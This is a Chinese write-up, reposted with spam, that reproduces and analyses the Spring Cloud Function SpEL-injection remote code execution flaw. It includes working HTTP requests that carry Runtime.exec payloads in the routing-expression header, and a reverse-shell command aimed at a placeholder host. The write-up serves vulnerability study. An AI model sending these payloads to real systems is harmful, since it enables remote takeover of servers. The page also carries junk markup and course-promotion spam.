亚洲精品中文免费|亚洲日韩中文字幕制服|久久精品亚洲免费|一本之道久久免费

<optgroup id="cczp1"><ruby id="cczp1"><cite id="cczp1"></cite></ruby></optgroup>
  • <acronym id="cczp1"></acronym>
    <acronym id="cczp1"><option id="cczp1"><ol id="cczp1"></ol></option></acronym>
    <delect id="cczp1"></delect>
    <center id="cczp1"></center>
    <delect id="cczp1"></delect><em id="cczp1"><button id="cczp1"><blockquote id="cczp1"></blockquote></button></em>
    1. <optgroup id="cczp1"><td id="cczp1"><dfn id="cczp1"></dfn></td></optgroup>

      Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析

      簡介

      Spring Cloud功能特點

      ![image-20220403143623101](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403143623101.png)

      影響版本

      3.0.0.M3 <= Spring Cloud Function <=3.2.2

      漏洞復現(xiàn)

      環(huán)境搭建

      選擇版本為V3.1.6

      根據(jù)Tags的更新時間選擇,還是選擇3.1.6比較穩(wěn)妥,使用IDEA導入項目

      ![image-20220401212613169](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220401212613169.png)

      jar包的下載確實很慢,真是麻了。實際上不用下載那么多jar包,確實用不到,導入項目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加

      spring.cloud.function.definition:functionRouter

      ![image-20220402110243791](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402110243791.png)

      配置maven啟動項目

      ![image-20220402110326017](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402110326017.png)

      ![image-20220402110354865](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402110354865.png)

      http://127.0.0.1:8080

      ![image-20220402110436556](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402110436556.png)

      【——全網(wǎng)最全的網(wǎng)絡(luò)安全學習資料包分享給愛學習的你,關(guān)注我,私信回復“資料領(lǐng)取”獲取——】1.網(wǎng)絡(luò)安全多個方向?qū)W習路線2.全網(wǎng)最全的CTF入門學習資料3.一線大佬實戰(zhàn)經(jīng)驗分享筆記4.網(wǎng)安大廠面試題合集5.紅藍對抗實戰(zhàn)技術(shù)秘籍6.網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、滲透測試方面視頻

      利用

      構(gòu)造payload

      POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf

      ![image-20220403144205124](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403144205124.png)

      這不就吐了么,修改配置文件才能RCE????

      ![image-20220403205706193](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403205706193.png)

      但是修改路由,當路由指定為functionRouter的時候,不修改配置文件已經(jīng)可以執(zhí)行惡意payload

      POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg

      ![image-20220402105622478](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402105622478.png)

      POST請求且必須傳參。

      反彈shell

      bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

      進行base64編碼,由于這里我使用的是windows環(huán)境,所以無法使用反彈shell,具體需要對反彈shell命令進行編碼的原因在分析CVE-2018-1270的時候已經(jīng)分析過了。

      ![image-20220403205921339](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403205921339.png)

      漏洞分析

      首先我們需要了解到spring框架中比較常見的幾個jar包

      • spring-beans所有應用都要用到的,它包含訪問配置文件、創(chuàng)建和管理bean 以及進行Inversion of Control / Dependency Injection(IoC/DI)操作相關(guān)的所有類。
      • spring-Expression進行SpEL表達式解析
      • spring-coreSpring 框架基本的核心工具類。Spring 其它組件要都要使用到這個包里的類,是其它組件的基本核心
      • spring-jdbc存放對jdbc數(shù)據(jù)庫數(shù)據(jù)訪問所有相關(guān)的類
      • spring-messaging

      api以及協(xié)議接口

      • spring-context為Spring核心提供了大量擴展??梢哉业绞褂肧pring ApplicationContext特性時所需的全部類
      • spring-web包含Web 應用開發(fā)時,用到Spring 框架時所需的核心類,包括自動載入Web Application Context 特性的類、Struts 與JSF 集成類、文件上傳的支持類、Filter 類和大量工具輔助類。
      • pring-webmvc包含Spring MVC 框架相關(guān)的所有類。包括框架的Servlets,Web MVC框架,控制器和視圖支持。

      向上查找利用鏈

      SpEL表達式的內(nèi)容是在spring-expression中處理的,在RoutingFunction類中調(diào)用

      ![image-20220403135602783](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403135602783.png)

      這里會取出spring.cloud.function.routing-expression:屬性的spel表達式

      ![image-20220402125700409](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402125700409.png)

      這個方法屬于布爾型的判斷,這里的屬性構(gòu)造在請求頭內(nèi),調(diào)用了apply方法

      ![image-20220402131335916](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220402131335916.png)

      繼續(xù)向上分析

      ![image-20220403232506444](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403232506444.png)

      到達SimpleFunctionRegistry.java類的698行,這個apply的方法的觸發(fā)時

      ![image-20220403232638460](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403232638460.png)

      是在646行定義的,且調(diào)用方法doapply,而doapply也在apply方法中調(diào)用了,在往上查找就到了FunctionWebRequestProcessingHelper類的processRequest方法

      ![image-20220403232852540](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403232852540.png)

      繼續(xù)向上查找,到了控制層了,到此為止我們的向上查找已經(jīng)結(jié)束,利用鏈很強清晰,那么對不對呢,我們使用向下查找利用鏈來做驗證,請看下文

      找到一個非常nice的入門課程,復制鏈接即可報名:

      https://img.wlmqw.com/uploads/2022/07/yxtjrq2dz5v.)

      調(diào)用FunctionWebRequestProcessingHelper類中的http請求參數(shù)方法processRequest

      ![image-20220403224410232](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403224410232.png)

      可以看到processRequest方法會獲取到我們構(gòu)造payload的方法,在方法為RoutingFunction的情況下會直接調(diào)用RoutingFunction類中的applay方法

      ![image-20220403230139777](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403230139777.png)

      此時我們可以看到這里調(diào)用了Route方法

      ![image-20220403230252876](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403230252876.png)

      而在該方法中會讀取構(gòu)造的請求頭spring.cloud.function.routing-expression屬性的值,調(diào)用了方法functionFormExpression,但是在該方法中的parseExpression方法會對SpEL表達式進行解析

      ![image-20220403231034277](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403231034277.png)

      ![image-20220403231137695](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403231137695.png)

      那么我們在調(diào)試的過程中

      ![image-20220403231320620](Spring Cloud Function SpEL表達式RCE漏洞復現(xiàn)分析.assets/image-20220403231320620-16489988015211.png)

      getValue方法執(zhí)行的又是什么呢?

      這里自然是執(zhí)行的傳入的paylaod的內(nèi)容以及執(zhí)行解析后的表達式

      到這里我們能夠發(fā)現(xiàn)兩條鏈剛好是對稱的,說明分析沒有問題。

      總結(jié)

      分析了spring-cloud-function可以發(fā)現(xiàn),spring框架的幾個由SpEL表達式注入造成的RCE的觸發(fā)點基本上都很相似,觸發(fā)類以及觸發(fā)路由分析對于漏洞挖掘來說都有可以借鑒的地方。

      鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場,版權(quán)歸原作者所有,如有侵權(quán)請聯(lián)系管理員(admin#wlmqw.com)刪除。
      用戶投稿
      上一篇 2022年7月21日 01:05
      下一篇 2022年7月21日 01:05

      相關(guān)推薦

      聯(lián)系我們

      聯(lián)系郵箱:admin#wlmqw.com
      工作時間:周一至周五,10:30-18:30,節(jié)假日休息